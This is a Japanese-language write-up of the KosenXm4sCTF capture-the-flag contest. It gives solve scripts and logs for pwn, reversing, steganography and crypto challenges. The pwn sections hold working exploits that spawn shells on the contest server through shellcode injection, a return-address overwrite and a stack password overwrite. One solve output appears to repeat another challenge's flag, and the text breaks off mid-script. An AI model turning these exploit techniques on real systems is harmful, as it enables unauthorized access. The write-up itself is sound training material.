KosenXm4sCTF writeup

2020-12-24 9:00 ~ 2020-12-25 21:00に開催されたKosenXm4sCTFのWriteupです。

100人中5位でした。

解けた問題は以下の通りです。

[pwn] beginners_shell

pwnの一番簡単な問題です。

自分が入力したC言語のプログラムをそのままコンパイルして実行してくれるので、

int main() { system("/bin/sh"); }

を入力してシェルを取るだけです。 あとはcat flag.txtでフラグを表示して終わりです。

$ nc 27.133.155.191 30002
Enter your program!
int main() { system("/bin/sh"); }
rm: cannot remove '/tmp/program': No such file or directory
/tmp/program.c: In function 'main':
/tmp/program.c:1:14: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
    1 | int main() { system("/bin/sh"); }
      |              ^~~~~~
cat flag.txt
xm4s{Yes!!To_get_SHELL_is_goal}

[pwn] match

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);

    FILE *fp = fopen("./flag.txt", "r");
    if(fp == NULL) {
        puts("flag.txt not found!");
        exit(0);
    }
    char flag[0x100];
    fgets(flag, 0x100, fp);

    char input[0x100];
    fgets(input, 0x100, stdin);
    int len = strlen(input) - 1;

    if(strncmp(flag, input, len) == 0) {
        puts("Correct!!!");
    } else {
        puts("Incorrect...");
    }
}

自分が入力した文字列とフラグを比較して、一致していたらCorrect!!!と表示するだけのプログラムです。

文字列の比較にはstrncmpが使われており、自分の入力した文字数分だけしかフラグと比較されません。例えば、xとだけ入力するとフラグの先頭一文字とxが、xm4sと入力するとフラグの先頭4文字とxm4sが比較されます。つまり、総当たりで解くことができます。

さすがに手動で一つ一つ調べていては日が暮れるのでPythonスクリプトを書きました。

from pwn import *
import string

flag = "xm4s{"

while True:
    for c in string.printable:
        p = remote("27.133.155.191", 30009)
        p.sendline(flag + c)
        if b"Correct" in p.readline():
            flag += c
            break
    if c == "}":
        break

print(flag)
$ python solve.py
[+] Opening connection to 27.133.155.191 on port 30009: Done
[+] Opening connection to 27.133.155.191 on port 30009: Done
...
xm4s{you got flag finaly hahaha}

[pwn] dead_or_alive

main.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char* get_secret_password() {
    char password[0x1000]; // I can get very very long password!!

    FILE *fp = fopen("./password.txt", "r");
    if(fp == NULL) {
        puts("password.txt not found.");
        exit(0);
    }
    fgets(password, 0x1000, fp);
    char* ret = password;

    return ret;
}

void login(char *password) {
    char input[512];
    printf("Input your password:");
    fgets(input, 512, stdin);

    if(strcmp(input, password) == 0) {
        puts("You logged in!");
        system("/bin/sh");
    }
}

void hello() {
    char name[0x1000];

    puts("Tell me your name!");
    fgets(name, 0x1000, stdin);

    printf("Hello %s\n", name);
}

int menu() {
    int ret;

    printf(
            "0: Hello\n"
            "1: Login\n"
            );

    scanf("%d%*c", &ret);

    return ret;
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

    char* pass = get_secret_password();
    while(1) {
        int option = menu();
        if(option == 0) {
            hello();
        } else if(option == 1) {
            login(pass);
        }
    }
}

パスワードを入力して正しいパスワードと一致していたらシェルが起動するプログラムです。

get_secret_passwordを見ると、passwordという配列にパスワードを読み込み、そのポインタを返しています。 下図は、get_secret_passwordを実行した時のスタックの様子です。(アドレスは自分の環境のgdbで見た時の値です)

               +-------------+
0x7fffffffd780 |     fp      |
               +-------------+
0x7fffffffd788 |     ret     |
               +-------------+
0x7fffffffd798 |   password  |
               +-------------+
               |     ...     |
               +-------------+
0x7fffffffe7a0 |  saved rbp  |
               +-------------+
0x7fffffffe7a8 |   ret addr  |
               +-------------+
               |     ...     |

戻り値としてpasswordのアドレスである0x7fffffffd790が返ります。

hello関数では、passwordと同じ大きさのnameという配列に好きな文字列を入力できるようになっています。下図は、hello関数を呼び出した時のスタックの様子です。nameのアドレスがpasswordのアドレスと一致しています。

               +-------------+
0x7fffffffd790 |    name     |
               +-------------+
               |     ...     |
               +-------------+
0x7fffffffe7a0 |  saved rbp  |
               +-------------+
0x7fffffffe7a8 |   ret addr  |
               +-------------+
               |     ...     |

passはnameと同じアドレスを指しているので、helloを呼び出して文字列を入力するとパスワードをその文字列に書き換えられることがわかります。

あとは、helloで適当に文字列を入力して、ログインするときにその文字列を入力するとシェルが取れます。

$ nc 27.133.155.191 30005
0: Hello
1: Login
0
Tell me your name!
a
Hello a

0: Hello
1: Login
1
Input your password:a
You logged in!
cat flag.txt
xm4s{welc0me_t0_undergr0und}

[pwn] write_where_what

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

void call_me_to_win() {
    system("/bin/sh");
}

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);


    printf("call_me_to_win at %p\n", call_me_to_win);

    unsigned long value = 1; // I like unsigned long value!
    printf("%lx\n", &value);

    size_t where, what;

    printf("where:");
    scanf("%lx", &where);
    printf("what:");
    scanf("%lx", &what);

    *(size_t*)where = what; // where に what を書き込む
}

1回だけ好きなアドレスに好きな値が書き込めるプログラムです。

スタック上にある変数valueのアドレスが得られるので、そこからリターンアドレスを計算することができます。

リターンアドレスをcall_me_to_winのアドレスに書き換えるとシェルが取れます。

$ python solve.py
python solve.py
[+] Starting local process './write_where_what': pid 24804
[+] Opening connection to 27.133.155.191 on port 30003: Done
[*] win addr = 0x401e15
[*] ret addr = 0x7ffebcbb4f48
[*] Switching to interactive mode
where:what:$ cat flag.txt
xm4s{i_can_rewrite_memory...}

[pwn] super_type

main.c

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/mman.h>

typedef union {
    char* char_ptr;
    int* int_ptr;
    long* long_ptr;
    void (*func_ptr)();
} SuperType;

int menu() {
    printf(
            "0: As char*, allocate\n"
            "1: As char*, printf\n"
            "2: As char*, input\n"
            "3: As int*, printf\n"
            "4: As long*, printf\n"
            "5: As func_ptr, execute\n"
        );
    printf("What do you do? :");
    int ret;
    scanf("%d%*c", &ret);

    return ret;
}

int main() {
    // set up for CTF
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

    SuperType st;

    while(1) {
        int opt = menu();
        switch(opt) {
            case 0: {
                st.char_ptr = mmap(NULL, 0x1000, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
                break;
            }
            case 1: {
                puts(st.char_ptr);
                break;
            }
            case 2: {
                fgets(st.char_ptr, 0x100, stdin);
                break;
            }
            case 3: {
                for(int i = 0;i < 0x100 / sizeof(int);i++) {
                    printf("%d: %d\n", i, st.int_ptr[i]);
                }
                break;
            }
            case 4: {
                for(int i = 0;i < 0x100 / sizeof(long);i++) {
                    printf("%d: %ld\n", i, st.long_ptr[i]);
                }
                break;
            }
            case 5: {
                st.func_ptr();
            }
        }
    }
}

mmapの第一引数を見るとPROT_EXECが指定されているため、このmmapで確保された領域は実行可能になります。

また、その確保した領域には好きな値を書き込むことができ、関数ポインタとして実行することもできるので、以下のようにして解くことができます。

  1. 「0: As char*, allocate」で実行可能なメモリを確保する
  2. 「2: As char*, input」で確保したメモリにシェルコードを書き込む
  3. 「5: As func_ptr, execute」で関数ポインタとして実行する
from pwn import *

context.binary = "./super_type"

shellcode = asm(shellcraft.sh())

p = remote('27.133.155.191', 30008)
p.sendlineafter('What do you do? :', '0')
p.sendlineafter('What do you do? :', '2')
p.sendline(shellcode)
p.sendline('5')
p.interactive()
$ python solve.py
[*] '/home/vagrant/xm4s/super_type/super_type'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 27.133.155.191 on port 30008: Done
[*] Switching to interactive mode
0: As char*, allocate
1: As char*, printf
2: As char*, input
3: As int*, printf
4: As long*, printf
5: As func_ptr, execute
What do you do? :$ cat flag.txt
xm4s{do_you_know_shellcode_database?or_pwntools's_shellcraft}

[misc] let us walk zip

main.zipというzipファイルが与えられます。

このzipファイルは普通に解凍しようとしてもうまく解凍できません。

そこで、binwalkというツールを使ってファイルを抽出してみます。

$ binwalk -e main.zip

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             gzip compressed data, has original file name: "head.png", from Unix, last modified: 2020-12-19 23:58:53
1613          0x64D           xz compressed data

head.png64Dという2つのpngファイルを抽出することができました。

$ cd _main.zip.extracted
$ ls
64D      64D.xz   head.png
$ file 64D
64D: PNG image data, 500 x 100, 8-bit grayscale, non-interlaced

それぞれの画像ファイルに半分ずつフラグが書かれているので、あとはそれを組み合わせるだけです。

xm4s{binwalk_is_good_tool}

[misc] magic_mirror

stegoVeritasというツールを利用しました。

stegoVeritasはステガノグラフィを解析してくれるツールです。実行するとresultsというディレクトリが作成されその中に解析結果が入ります。

resultsの中のchristmas.png_Alpha_0.pngを見るとフラグが書かれていました。

xm4s{4lph4_l4y3r_m4k3s_1m493_tr4nsp4r3nt}

[rev] binary_strings

stringsコマンドを使うだけでフラグが見つかります。

$ strings binary_strings | grep xm4s
xm4s{strings_binary_is_simple_and_powerful!}

[rev] countdown

generate_flagという関数でフラグを生成し、入力と一致しているなら「Congratulations!」と表示するプログラムです。

gdbを使ってgenerate_flagが呼び出された後にメモリダンプすればフラグが得られます。

しかし、ブレークポイントを設定して実行するだけだとgenerate_flagを呼び出す直前にあるwaitという関数が呼び出されてしまい、操作できなくなってしまいます。

そのため、waitを呼び出す直前にブレークポイントを設定してjumpを実行しwaitを飛ばすようにします。

$ gdb
pwndbg> b *0x401a77
Breakpoint 1 at 0x401a77
pwndbg> b *0x401ac4
Breakpoint 2 at 0x401ac4
pwndbg> r
Starting program: /home/vagrant/xm4s/countdown/countdown
New year countdown!

Breakpoint 1, 0x0000000000401a77 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────[REGISTERS]───────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7af4264 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0
 RDI  0x1
 RSI  0x405260 ◂— 'New year countdown!\n'
...
────────────────────────────────────────────────────────────────────────────
pwndbg> jump *0x401a7c
Continuing at 0x401a7c.
Happy new year! We check your flag!
FLAG:
a

Breakpoint 2, 0x0000000000401ac4 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────[REGISTERS]───────────────────────────────────
*RAX  0x7fffffffe7b0 —▸ 0x7ffff7de0061 (do_lookup_x+3537) ◂— push   rsi
 RBX  0x0
*RCX  0x7ffff7dd0560 (_nl_global_locale) —▸ 0x7ffff7dcc580 (_nl_C_LC_CTYPE) —▸ 0x7ffff7b99bce (_nl_C_name) ◂— add  ...
*RDX  0x7ffff7dd18d0 (_IO_stdfile_0_lock) ◂— 0x0
*RDI  0x404080 (flag) ◂— 'xm4s{kotoshimo_mou_nennmatsu_desune}'
*RSI  0x7fffffffe7b0 —▸ 0x7ffff7de0061 (do_lookup_x+3537) ◂— push   rsi
...
────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x404080
0x404080 <flag>:  "xm4s{kotoshimo_mou_nennmatsu_desune}"
pwndbg>

[rev] dummy

dummyという実行ファイルが与えられます。

アセンブルしてmain関数を見ると以下のようになっています。

0000000000001169 <main>:
    1169:   55                      push   rbp
    116a:   48 89 e5                mov    rbp,rsp
    116d:   48 83 ec 40             sub    rsp,0x40
    1171:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
    1178:   00 00
    117a:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
    117e:   31 c0                   xor    eax,eax
    1180:   05 d2 89 80 8a          add    eax,0x8a8089d2
    1185:   81 fa 15 5a dd 83       cmp    edx,0x83dd5a15
    118b:   81 fa 1d d7 da 7f       cmp    edx,0x7fdad71d
    1191:   81 e9 31 e7 73 84       sub    ecx,0x8473e731
    ...
    7e1f5:  83 7d cc 00             cmp    DWORD PTR [rbp-0x34],0x0
    7e1f9:  74 0e                   je     7e209 <main+0x7d0a0>
    7e1fb:  48 8d 3d 11 0e 00 00    lea    rdi,[rip+0xe11]        # 7f013 <_IO_stdin_used+0x13>
    7e202:  e8 29 2e f8 ff          call   1030 <puts@plt>
    7e207:  eb 0c                   jmp    7e215 <main+0x7d0ac>
    7e209:  48 8d 3d 10 0e 00 00    lea    rdi,[rip+0xe10]        # 7f020 <_IO_stdin_used+0x20>
    7e210:  e8 1b 2e f8 ff          call   1030 <puts@plt>
    7e215:  b8 00 00 00 00          mov    eax,0x0
    7e21a:  48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
    7e21e:  64 48 2b 14 25 28 00    sub    rdx,QWORD PTR fs:0x28
    7e225:  00 00
    7e227:  74 05                   je     7e22e <main+0x7d0c5>
    7e229:  e8 12 2e f8 ff          call   1040 <__stack_chk_fail@plt>
    7e22e:  c9                      leave
    7e22f:  c3                      ret

アセンブル結果の後半部分を見てみるとcmp DWORD PTR [rbp-0x34],0x0という命令があります。ここで[rbp - 0x34]が0と一致していれば"Correct!"と表示されるようになっています。なので、[rbp - 0x34]が1にならないようにしてやればフラグになると考えました。

$ objdump -M Intel -d dummy | grep -B 4 "\[rbp-0x34\],0x1"
   2495a:   48 8d 45 d0             lea    rax,[rbp-0x30]
   2495e:   8b 00                   mov    eax,DWORD PTR [rax]
   24960:   3d 78 6d 34 73          cmp    eax,0x73346d78
   24965:   74 07                   je     2496e <main+0x23805>
   24967:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   2f8a6:   48 83 c0 04             add    rax,0x4
   2f8aa:   8b 00                   mov    eax,DWORD PTR [rax]
   2f8ac:   3d 7b 6d 61 64          cmp    eax,0x64616d7b
   2f8b1:   74 07                   je     2f8ba <main+0x2e751>
   2f8b3:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   3a6d6:   48 83 c0 08             add    rax,0x8
   3a6da:   8b 00                   mov    eax,DWORD PTR [rax]
   3a6dc:   3d 5f 64 75 6d          cmp    eax,0x6d75645f
   3a6e1:   74 07                   je     3a6ea <main+0x39581>
   3a6e3:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   45e54:   48 83 c0 0c             add    rax,0xc
   45e58:   8b 00                   mov    eax,DWORD PTR [rax]
   45e5a:   3d 6d 79 5f 62          cmp    eax,0x625f796d
   45e5f:   74 07                   je     45e68 <main+0x44cff>
   45e61:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   51940:   48 83 c0 10             add    rax,0x10
   51944:   8b 00                   mov    eax,DWORD PTR [rax]
   51946:   3d 6c 6f 63 6b          cmp    eax,0x6b636f6c
   5194b:   74 07                   je     51954 <main+0x507eb>
   5194d:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   5cdbe:   48 83 c0 14             add    rax,0x14
   5cdc2:   8b 00                   mov    eax,DWORD PTR [rax]
   5cdc4:   3d 73 5f 74 68          cmp    eax,0x68745f73
   5cdc9:   74 07                   je     5cdd2 <main+0x5bc69>
   5cdcb:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   67cc4:   48 83 c0 18             add    rax,0x18
   67cc8:   8b 00                   mov    eax,DWORD PTR [rax]
   67cca:   3d 65 5f 77 61          cmp    eax,0x61775f65
   67ccf:   74 07                   je     67cd8 <main+0x66b6f>
   67cd1:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1
--
   73420:   48 83 c0 1c             add    rax,0x1c
   73424:   8b 00                   mov    eax,DWORD PTR [rax]
   73426:   3d 79 21 7d 00          cmp    eax,0x7d2179
   7342b:   74 07                   je     73434 <main+0x722cb>
   7342d:   c7 45 cc 01 00 00 00    mov    DWORD PTR [rbp-0x34],0x1

mov DWORD PTR [rbp-0x34],0x1の前に何やら0x64616d7bや0x64616d7bといった値とeaxの比較処理を行なっています。その値をすべて抜き出してASCIIに変換してやると以下のようになります。

0x73346d78 -> s4mx
0x64616d7b -> dam{
0x6d75645f -> mud_
0x625f796d -> b_ym
0x6b636f6c -> kcol
0x68745f73 -> ht_s
0x61775f65 -> aw_e
0x7d2179   -> }!y

フラグらしき文字列が出てきました。バイトオーダーはリトルエンディアンであるため、逆順に格納されています。よって、逆順に並び替えてくっつけるとフラグは

xm4s{mad_dummy_blocks_the_way!}

になります。

import struct

flags = [
    0x73346d78,
    0x64616d7b,
    0x6d75645f,
    0x625f796d,
    0x6b636f6c,
    0x68745f73,
    0x61775f65,
    0x7d2179,
]

flag = b""
for f in flags:
    flag += struct.pack('<I', f)
print(flag)
$ python solve.py
b'xm4s{mad_dummy_blocks_the_way!}\x00'

[rev] first_asm

first_asmという入力がフラグと一致しているか確認するプログラムが与えられ、そのソースコードであるfirst_asm.c、check_flag.sも与えられました。

first_asm.c

/*
gcc -O0 -o binary binary.c check_flag.s
*/

#include <stdio.h>
#include <stdbool.h>

extern bool check_flag(char* input);

int main(void) {
    char input[33];
    printf("+------------+\n");
    printf("|FLAG CHECKER|\n");
    printf("+------------+\n");
    printf("Input: ");
    scanf("%32s%*c", input);
    if (check_flag(input)) {
        printf("Correct!\n");
    } else {
        printf("Wrong...\n");
    }
}

check_flag.s

.intel_syntax noprefix
.globl check_flag, key, answer

/*
コメント部分は省略
*/

# Let's reversing!

key:
    .string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"

answer:
    .string "CAn_U_Re4d_A55emBly?L3t's_tRY_it"

// [rbp - 0x8] = user_input
check_flag:
    # 関数の開始処理 (おまじない)
    push rbp
    mov rbp, rsp

    mov QWORD PTR [rbp - 0x8], rdi
    mov QWORD PTR [rbp - 0x10], 0

    .for_start:
        mov rax, QWORD PTR [rbp - 0x8]
        mov rbx, QWORD PTR [rbp - 0x10]
        mov cl, BYTE PTR [rax + rbx]
        
        lea rax, key
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]

        xor cl, dl

        lea rax, answer
        mov rbx, QWORD PTR [rbp - 0x10]
        mov dl, BYTE PTR [rax + rbx]
        
        // xorとったやつがanswerと一致していなければ間違い
        cmp cl, dl
        jne .if_false

        .if_true:
            jmp .if_end

        .if_false:
            mov eax, 0
            jmp .function_end

        .if_end:

    .for_end:
    add QWORD PTR [rbp - 0x10], 1
    cmp QWORD PTR [rbp - 0x10], 32
    jle .for_start

    mov eax, 1
    .function_end:

    # 関数の終了処理 (おまじない)
    leave
    ret

check_flagをC言語で書き直すと以下のようになります

char key[] = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t";
char answer[] = "CAn_U_Re4d_A55emBly?L3t's_tRY_it";

int check_flag(char *input) {
    for (int i = 0; i < 32; i++) {
        char cl = input[i];
        char dl = key[i];
        if (cl ^ dl != answer[i]) {
            return 0;
        }
    }
    return 1;
}

よって、keyとanswerでxorを取ればフラグを手に入れることができます。

# solve.py
key = b";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
answer = b"CAn_U_Re4d_A55emBly?L3t's_tRY_it"
flag = ""

for k, a in zip(key, answer):
    for c in range(0x0, 255):
        if c ^ k == a:
            flag += chr(c)
print(flag)
$ python solve.py
xm4s{we1c0me_t0_a55emb1y_w0r1d!}

[rev] RGB

NITKC.pngという画像ファイルとcreate_secret_image.pyというファイルが与えられます。

# create_secret_image.py
import numpy as np
from PIL import Image

image_array = np.asarray(Image.open("./NITKC.png")).copy()

with open('./flag.txt') as f:
    flag = f.read().encode()

written = 0;

for x in range(len(image_array)):
    for y in range(len(image_array[0])):
        if len(flag) > written:
            c = flag[written]
            print(c)
            red = c & 0b11
            green = (c & 0b1100) >> 2
            blue = (c &0b1110000) >> 4

            image_array[x][y][0] &= ~0b11
            image_array[x][y][0] |= red
            
            image_array[x][y][1] &= ~0b11
            image_array[x][y][1] |= green

            image_array[x][y][2] &= ~0b111
            image_array[x][y][2] |= blue
            
            print(image_array[x][y])
            written += 1

Image.fromarray(image_array).save('output.png')

画像のRGBの下位2,3bitにフラグが隠されているので、それを復元してやるだけです。

# solve.py
from PIL import Image

img = Image.open('./output.png')
w, h = img.size

flag = ""
for y in range(h):
    for x in range(w):
        # (x, y)にあるピクセルのRGBを取得
        r, g, b = img.getpixel((x, y))
        # bの下位3bit, r・gの下位2bitを取り出して結合
        c = ((b & 0b111) << 4) | ((g & 0b11) << 2) | (r & 0b11)
        flag += chr(c)
        if chr(c) == "}":
            print(flag)
            exit(0)
$ python solve.py
xm4s{we1c0me_t0_a55emb1y_w0r1d!}

[rev] original_file_system1

自作ファイルシステムの仕様書とイメージファイルが与えられます。

仕様書に合わせて解析をおこなうスクリプトを書くだけです。

from __future__ import annotations
from dataclasses import dataclass
from typing import Union
import io
import struct

DATA_OFFSET = 0xf

def xor_bytes(block, key):
    return bytes([e ^ k for e, k in zip(block, key)])

def decrypt_cbc(encrypted, key):
    iv = b"abcde"
    block_size = len(key)
    rslt = b""
    for i in range(0, len(encrypted), block_size):
        block = encrypted[i:i+block_size]
        dec_block = xor_bytes(block, key)
        dec_block = xor_bytes(dec_block, iv)
        iv = block
        rslt += dec_block
    return rslt

def decrypt_ecb(encrypted, key):
    rslt = []
    for idx, e in enumerate(encrypted):
        rslt.append(key[idx % len(key)] ^ e)
    return bytes(rslt)

def u32(x):
    return struct.unpack(">I", x)[0]

@dataclass
class Directory:
    name: str 
    children: list[Union[Directory, File]]

@dataclass
class File:
    name: str
    size: int
    content: bytes

class FS:
    def __init__(self, file_name, key=None):
        self.file_name = file_name
        self.key = key
        self.stream = io.BytesIO(open(file_name, "rb").read())
        if not self.is_valid_file():
            raise Exception("Invalied file")
        self.parse()

    def is_valid_file(self):
        self.stream.seek(0)
        if self.stream.read(4) != b'\xde\xad\xbe\xaf':
            return False
        return True

    def parse(self):
        self.stream.seek(4)
        start_pos = self.stream.read(4)
        self.stream.seek(u32(start_pos))
        self.directory = self.parse_directory()

    def parse_directory(self):
        flag = self.stream.read(1)
        dir_name = self.stream.read(16).decode().replace("\x00", "")
        child_dir_num = u32(self.stream.read(4))
        child_file_num = u32(self.stream.read(4))

        directory = Directory(name=dir_name, children=[])
        # parse directory
        for pos in [u32(self.stream.read(4)) for _ in range(child_dir_num)]:
            self.stream.seek(pos)
            directory.children.append(self.parse_directory())
        # parse files
        for pos in [u32(self.stream.read(4)) for _ in range(child_file_num)]:
            self.stream.seek(pos)
            directory.children.append(self.parse_file())
        return directory

    def parse_file(self):
        flag = struct.unpack("B", self.stream.read(1))[0]
        file_name = self.stream.read(32)
        file_size = u32(self.stream.read(4))
        """
        cbcで復号したときにうまく複合できなかったので
        ダイレクトにecbで復号
        """
        file_name = decrypt_ecb(file_name, self.key)
        # ファイルサイズが0だったのでファイル内容はb''
        return File(file_name.decode(), file_size, b"")

fs = FS("./prob1.img", key=b"xm4s!")
print(fs.directory)

頑張ればこんなスクリプトを組まなくても手動で解けると思います。

$ python solve.py
Directory(name='mydir', children=[File(name='xm4s{you_find_a_file_name!}4s!xm', size=0, content=b'')])

[crypto] do_you_know_RSA?

param.txtというRSA暗号のパラメータが書かれたファイルが与えられます。

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
E = 65537
crypted message is 736752258923832368359268459529023058483734448152703465168101

pの値がわかっているのでqの値を求めることができ、すぐに解けます。

from cryptolib.pubkey import RSA
from cryptolib.util.binary import long2bytes

N = 872466878637044085809546928077402525188932163354013071311247
p = 1202641222143185422372899516011
E = 65537
c = 736752258923832368359268459529023058483734448152703465168101

q = N // p
cipehr = RSA.construct(N, E, p=p, q=q)
print(long2bytes(cipehr.decrypt(c)))
$ python solve.py
b'xm4s{dont_leak_p_and_q!!}'

[crypto] advanced_caesar

「advanced_caesar」という問題名からシーザー暗号のように文字をシフトする暗号だと推測しました。

暗号分とフラグフォーマットであるxm4s{...}を比較すると、

フラグフォーマット 暗号分
1文字目 x x
2文字目 m n(mの1文字前)
3文字目 4 4
4文字目 s u(sの2文字前)

となっていることがわかります。これから、n番目のアルファベットをn-1だけアルファベット順にシフトする暗号だと推測できます。

encrypted = "xn4u{fejyhzwyjazwzqkszurwhyqaop}"
ctr = 0
flag = ""

for c in encrypted:
    if c.isalpha():
        hoge = ord(c) - ctr
        if hoge < ord('a'):
            hoge += 26
        flag += chr(hoge)
        ctr += 1
    else:
        flag += c

print(flag)
$ python solve.py
xm4s{caesarnoyomikatagawakarann}

[crypto] bad_hash

#!/bin/python3

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100

    return (xor_sum, mod_sum)

with open("./password.txt") as f:
    answer = f.read()

ans_x, ans_m = hash(answer)
print(f'ans_x {ans_x}, ans_m {ans_m}')

user_input = input()
if 10 <= len(user_input):
    print("too long...")

inp_x, inp_m = hash(user_input)
print(f'inp_x {inp_x}, inp_m {inp_m}')

if ans_x == inp_x and ans_m == inp_m:
    print("You hava a password!!")
    with open('./flag.txt') as f:
        print(f.read())

サーバーに接続するとフラグをハッシュ化したものを手に入れることができます。

また、自分の入力をハッシュ化したものがフラグをハッシュ化したものと一致していればフラグが手に入ります。

組み合わせの数が少なそうなので適当に総当たりすればハッシュ値が一致する文字列が得られます。

def hash(base):
    xor_sum = 0
    mod_sum = 0
    for c in base.encode():
        xor_sum ^= c
        mod_sum += c
        mod_sum %= 100
   
    return (xor_sum, mod_sum)

ans_x, ans_m = 88, 36

for i in range(0x30, 0x7f):
    for j in range(0x30, 0x7f):
        for k in range(0x30, 0x7f):
            inp = chr(i) + chr(j) + chr(k)
            inp_x, inp_m = hash(inp)
            if ans_x == inp_x and ans_m == inp_m:
                print(inp)
                exit(0)
$ python solve.py
HJZ
$ nc 27.133.155.191 30010
ans_x 88, ans_m 36
HJZ
inp_x 88, inp_m 36
You hava a password!!
xm4s{xor_and_modsum!double_hash!!}

[crypto] do_you_like_CBC?

enc.py

import math
import base64

# flag = "xm4s{this_is_dummy_flag}"
with open("./flag.txt", "r") as f:
    flag = f.read()

key = "paswd"
blocksize = len(key)
initial_vector = "abcde"

# 足りない分は'#'で埋める
if len(flag)%blocksize != 0:
    flag+= '#' * (blocksize - len(flag)%blocksize)

print(f"flag lenght: {len(flag)}")
print(f"block size: {blocksize}")

encrypted_flag = ""
last_enc = initial_vector

for i in range(0,len(flag),blocksize):
    asciicode = [ord(j) for j in flag[i:i+blocksize]]
    chain = [asciicode[j] ^ ord(last_enc[j]) for j in range(blocksize)]
    enc = [chain[j] ^ ord(key[j]) for j in range(blocksize)]
    enc = ''.join([chr(j) for j in enc])
    encrypted_flag += enc
    last_enc = enc

# 不可視文字だと扱いにくいのでbase64する
encrypted_flag = base64.b64encode(encrypted_flag.encode())

print("encrypted(your flag):",encrypted_flag)

encrypted_flag.txt

flag lenght: 30
block size: 5
encrypted(your flag): b'aW4kYHpQUDt+dUVuC0tSamoWX0RjexFBT307HzwI'

ブロック暗号はブロック長しか暗号化できないため、長い平文を暗号化する際には暗号利用モードが用いられます。CBCモードはその内の一つです。

CBCモードは以下のように暗号化を行います。

  1. 平文と直前のブロック(最初のブロックの場合iv)でxorを取る
  2. ブロックを暗号化する
  3. 次のブロックに移る

復号は以下の手順で行います。暗号化と逆の操作を行なっているだけです。

  1. 暗号ブロックを復号する
  2. 直前の暗号ブロック(最初のブロックの場合iv)と復号したブロックでxorを取る
  3. 次のブロックに移る

この復号の処理を実装するとフラグが得られます。

from cryptolib.encoding.basex import b64dec

encrypted = b64dec(b'aW4kYHpQUDt+dUVuC0tSamoWX0RjexFBT307HzwI')
key = b"paswd"
iv = b"abcde"
block_size = 5
flag = b""

def xor_bytes(block, key):
    return bytes([e ^ k for e, k in zip(block, key)])

for i in range(0, len(encrypted), block_size):
    block = encrypted[i:i+5]
    dec_block = xor_bytes(block, key)
    dec_block = xor_bytes(dec_block, iv)
    iv = block
    flag += dec_block

print(flag)
$ python 
b'xm4s{I_like_CBC_encryption!}\n#'

[crypto] decryptor

サーバーにアクセスするとRSAのN, eと暗号化されたフラグを手に入れることができます。また、Base64エンコードした値を渡すと復号してくれますが、暗号化されたフラグを渡すと「I don't decrypt FLAG!」と表示されてしまいます。

暗号化されたフラグを直接渡さずに復号する方法を考えます。

ここで、暗号文をccを2で割った値をc_1、2を暗号化した値をc_2とすると

\begin{eqnarray} c_1^{d}c_2^{d} &\equiv& (c\cdot 2^{-1})^{d} \cdot 2^{d}\ mod\ N \\ &\equiv& c^{d} \cdot 2^{-d} \cdot 2^{d}\ mod\ N \\ &\equiv& c^{d}\ mod\ N \\ &\equiv& m \end{eqnarray}

となり、c_1^{d}c_2^{d}を掛け合わせることで平文を復元できることが確認できます。(本当に正しいかどうか自信がない)

c_1^{d}c_2^{d}c_1c_2を復号した値であるため、cを2で割った値と2をそれぞれ復号し、掛け合わせることでフラグを求めることができます。

from cryptolib.encoding.basex import b64enc, b64dec
from cryptolib.util.binary import long2bytes, bytes2long

def b64_to_long(x):
    return bytes2long(b64dec(x))

